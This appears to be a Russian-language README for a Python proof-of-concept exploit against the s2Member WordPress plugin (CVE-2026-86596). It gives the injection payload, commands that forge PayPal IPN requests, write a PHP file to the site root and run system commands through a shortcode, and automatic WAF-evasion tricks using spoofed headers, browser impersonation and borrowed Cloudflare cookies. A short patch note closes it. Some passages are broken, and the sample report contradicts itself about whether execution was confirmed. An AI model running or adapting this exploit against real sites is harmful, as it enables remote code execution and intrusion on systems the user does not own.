
CVE-2026-86596 s2Member <= 260927 PoC внедрения шаблонов (лаборатория; требуется проверка IPN)
Однофайловый PoC на Python для RCE через внедрение в шаблон в s2Member <= 260927.
Уязвимый код:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
Полезная нагрузка:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() не трогает его, поскольку там нет литерала <?.
Замена %%item_name%% вставляет его; финальная очистка %%(.+?)%%
удаляет %%x%%, оставляя корректный открывающий тег <?php.
python3 poc.py https://wordpress.lab
Вот весь процесс:
cve_test.php с @thiscitze в корень WordPress,https://wordpress.lab/cve_test.php и проверяет маркер.Если ID защищённой записи/страницы не равен 1:
python3 poc.py https://wordpress.lab --item-number 123
Если .php заблокирован, запишите маркер в виде обычного текста:
python3 poc.py https://wordpress.lab --filename cve_test.txt
Если сайт использует ключ проверки прокси:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
Краткий отчёт:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
Отчёт отвечает на три отдельных вопроса:
RCE: NOT CONFIRMED означает, что скрипт не доказал выполнение кода, даже если
HTTP-статус был 200.
Цвет включается, когда stdout является TTY; принудительно включить его можно с помощью --color always, а отключить — с помощью --color never.
Если цель защищена WAF/челленджем, скрипт автоматически пробует варианты структуры запроса, прежде чем сдаться:
multipart/form-dataitem_name (безвредный + полезная нагрузка)multipart/form-data с дублированным item_nameX-Forwarded-For / X-Real-IP / CF-Connecting-IPcurl_cffi (pip install curl_cffi)--http-proxyНеобязательные элементы управления:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion отключает автоматические варианты. JS-задача всё ещё может
требовать реальной сессии браузера или IPN с источником PayPal; трюки с заголовками не
являются гарантированным обходом.
Запишите тестовый файл в корень WordPress и проверьте его:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
Полезная нагрузка записывает cve_test.php, содержащий:
<?php echo "@thiscitze"; ?>
Если .php заблокирован или не нужен, вместо него напишите маркер в виде обычного текста:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
Файл записывается в ABSPATH (корень файловой системы WordPress). Если
WordPress установлен в подкаталоге, скорректируйте --test-url соответствующим образом.
python3 poc.py --simulate
Ожидается:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
Вариант с шорткодом:
python3 poc.py --simulate --shortcode --command "system('id');"
В результате получается [s2If php="system('id');"], который выполняется, если шаблон
достигает приёмника do_shortcode() / [s2If php].
python3 poc.py --check https://wordpress.lab
Он читает readme.txt или s2member.php и сравнивает версию с
260927 / 261001.
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2Member проверяет IPN через PayPal (POST back) или ключ проверки прокси. Прямой поддельный POST обычно отклоняется. Для лабораторной работы:
item_name является полезной нагрузкой, илиpython3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
Скрипт выводит HTTP-ответ и предупреждает, если целевой сервер отклонил проверку.
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
Загружает страницу и ищет CVE-2026-86596, который отражается в полезной нагрузке.
Это полезно, когда сток кода отслеживания / шорткода рендерится после IPN.
custom должен начинаться с имени хоста сайта (или должен быть включён
skip_ipn_domain_validation).item_number для пути Specific Post/Page.do_shortcode() / [s2If php=...], или пользовательская интеграция, которая вычисляет
шаблон уведомления. Сам обычный текст письма по умолчанию отправляется
через wp_mail, а не вычисляется.Обновитесь до s2Member 261001 или более поздней версии (текущая: 261017). Исправление заменяет
последовательную интерполяцию на fill_paypal_template_once() и очищает
назначение отслеживания до [A-Za-z0-9 @._-].
PR:N) говорят о неаутентифицированном. Рассматривайте это как удалённое/неаутентифицированное для
приоритета патча, но проверьте требования к IPN/прокси в вашей конфигурации.